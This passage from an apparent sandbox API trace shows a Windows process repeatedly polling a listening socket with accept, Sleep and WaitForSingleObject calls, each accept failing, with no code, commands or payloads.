addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.431] Sleep (dwMilliseconds=0xa) [0128.442] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.458] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.458] Sleep (dwMilliseconds=0xa) [0128.474] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.489] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.489] Sleep (dwMilliseconds=0xa) [0128.505] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.520] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.520] Sleep (dwMilliseconds=0xa) [0128.536] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.552] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.552] Sleep (dwMilliseconds=0xa) [0128.567] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.583] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.583] Sleep (dwMilliseconds=0xa) [0128.599] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.617] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.617] Sleep (dwMilliseconds=0xa) [0128.630] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.645] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.645] Sleep (dwMilliseconds=0xa) [0128.661] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.723] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.723] Sleep (dwMilliseconds=0xa) [0128.766] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.770] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.770] Sleep (dwMilliseconds=0xa) [0128.786] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.805] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.805] Sleep (dwMilliseconds=0xa) [0128.817] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.832] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.832] Sleep (dwMilliseconds=0xa) [0128.848] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.864] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.864] Sleep (dwMilliseconds=0xa) [0128.881] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.895] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.895] Sleep (dwMilliseconds=0xa) [0128.910] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.926] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.926] Sleep (dwMilliseconds=0xa) [0128.946] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.958] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.958] Sleep (dwMilliseconds=0xa) [0128.974] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.989] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.989] Sleep (dwMilliseconds=0xa) [0129.004] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.020] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.020] Sleep (dwMilliseconds=0xa) [0129.035] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.052] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.052] Sleep (dwMilliseconds=0xa) [0129.066] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.082] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.082] Sleep (dwMilliseconds=0xa) [0129.098] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.113] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.113] Sleep (dwMilliseconds=0xa) [0129.129] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.144] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.145] Sleep (dwMilliseconds=0xa) [0129.160] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.176] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.176] Sleep (dwMilliseconds=0xa) [0129.191] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.207] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.207] Sleep (dwMilliseconds=0xa) [0129.223] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.238] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.238] Sleep (dwMilliseconds=0xa) [0129.254] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.271] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.271] Sleep (dwMilliseconds=0xa) [0129.285] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.301] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.301] Sleep (dwMilliseconds=0xa) [0129.316] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.332] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.332] Sleep (dwMilliseconds=0xa) [0129.347] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.363] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.363] Sleep (dwMilliseconds=0xa) [0129.378] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.394] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.394] Sleep (dwMilliseconds=0xa) [0129.410] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.425] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.425] Sleep (dwMilliseconds=0xa) [0129.441] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.456] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.457] Sleep (dwMilliseconds=0xa) [0129.472] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.488] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.488] Sleep (dwMilliseconds=0xa) [0129.503] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.536] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.536] Sleep (dwMilliseconds=0xa) [0129.550] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.566] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.566] Sleep (dwMilliseconds=0xa) [0129.581] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.597] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.597] Sleep (dwMilliseconds=0xa) [0129.612] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.628] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.628] Sleep (dwMilliseconds=0xa) [0129.644] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.661] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.661] Sleep (dwMilliseconds=0xa) [0129.675] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.690] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.691] Sleep (dwMilliseconds=0xa) [0129.706] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.722] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.722] Sleep (dwMilliseconds=0xa) [0129.737] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.769] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.769] Sleep (dwMilliseconds=0xa) [0129.815] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.845] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.845] Sleep (dwMilliseconds=0xa) [0129.846] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.862] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.862] Sleep (dwMilliseconds=0xa) [0129.878] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.894] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.894] Sleep (dwMilliseconds=0xa) [0129.909] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.925] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.925] Sleep (dwMilliseconds=0xa) [0129.945] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.963] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.963] Sleep (dwMilliseconds=0xa) [0129.971] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.988] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0129.988] Sleep (dwMilliseconds=0xa) [0130.002] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.021] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.022] Sleep (dwMilliseconds=0xa) [0130.034] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.049] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.049] Sleep (dwMilliseconds=0xa) [0130.065] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.080] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.081] Sleep (dwMilliseconds=0xa) [0130.096] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.112] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.112] Sleep (dwMilliseconds=0xa) [0130.127] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.144] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.144] Sleep (dwMilliseconds=0xa) [0130.158] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.174] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.174] Sleep (dwMilliseconds=0xa) [0130.190] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.205] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.205] Sleep (dwMilliseconds=0xa) [0130.221] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.236] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.236] Sleep (dwMilliseconds=0xa) [0130.252] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.269] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.269] Sleep (dwMilliseconds=0xa) [0130.283] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.299] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.299] Sleep (dwMilliseconds=0xa) [0130.315] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.330] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.330] Sleep (dwMilliseconds=0xa) [0130.346] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.361] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.361] Sleep (dwMilliseconds=0xa) [0130.378] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.393] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.393] Sleep (dwMilliseconds=0xa) [0130.408] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.424] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.424] Sleep (dwMilliseconds=0xa) [0130.439] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.455] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.455] Sleep (dwMilliseconds=0xa) [0130.470] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.486] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.486] Sleep (dwMilliseconds=0xa) [0130.502] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.517] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.517] Sleep (dwMilliseconds=0xa) [0130.533] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.549] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.549] Sleep (dwMilliseconds=0xa) [0130.564] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.580] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.580] Sleep (dwMilliseconds=0xa) [0130.595] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.611] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.611] Sleep (dwMilliseconds=0xa) [0130.626] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.642] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.642] Sleep (dwMilliseconds=0xa) [0130.658] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.673] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.673] Sleep (dwMilliseconds=0xa) [0130.689] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.704] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.704] Sleep (dwMilliseconds=0xa) [0130.720] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.736] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.736] Sleep (dwMilliseconds=0xa) [0130.751] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.778] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.778] Sleep (dwMilliseconds=0xa) [0130.782] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.798] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.798] Sleep (dwMilliseconds=0xa) [0130.814] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.829] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.829] Sleep (dwMilliseconds=0xa) [0130.845] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.892] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.892] Sleep (dwMilliseconds=0xa) [0130.947] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.954] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.954] Sleep (dwMilliseconds=0xa) [0130.970] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.985] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0130.985] Sleep (dwMilliseconds=0xa) [0131.001] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.032] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.032] Sleep (dwMilliseconds=0xa) [0131.048] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.063] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.063] Sleep (dwMilliseconds=0xa) [0131.079] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.095] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.095] Sleep (dwMilliseconds=0xa) [0131.110] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.126] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.126] Sleep (dwMilliseconds=0xa) [0131.141] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.157] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.157] Sleep (dwMilliseconds=0xa) [0131.172] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.188] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.188] Sleep (dwMilliseconds=0xa) [0131.204] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.219] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.219] Sleep (dwMilliseconds=0xa) [0131.235] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.266] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.266] Sleep (dwMilliseconds=0xa) [0131.282] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.297] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.298] Sleep (dwMilliseconds=0xa) [0131.313] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.329] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.329] Sleep (dwMilliseconds=0xa) [0131.344] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.375] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.375] Sleep (dwMilliseconds=0xa) [0131.391] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.407] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.407] Sleep (dwMilliseconds=0xa) [0131.422] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.438] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.438] Sleep (dwMilliseconds=0xa) [0131.453] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.469] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.469] Sleep (dwMilliseconds=0xa) [0131.484] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.500] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.500] Sleep (dwMilliseconds=0xa) [0131.516] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.531] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.531] Sleep (dwMilliseconds=0xa) [0131.547] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.563] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.563] Sleep (dwMilliseconds=0xa) [0131.578] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.609] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.609] Sleep (dwMilliseconds=0xa) [0131.609] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.625] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.625] Sleep (dwMilliseconds=0xa) [0131.641] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.656] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.656] Sleep (dwMilliseconds=0xa) [0131.672] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.688] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.688] Sleep (dwMilliseconds=0xa) [0131.703] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.718] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.718] Sleep (dwMilliseconds=0xa) [0131.734] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.750] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.750] Sleep (dwMilliseconds=0xa) [0131.765] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.791] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.791] Sleep (dwMilliseconds=0xa) [0131.796] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.827] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0131.827] Sleep (dwMilliseconds=0xa) [0131.828] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.843] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: 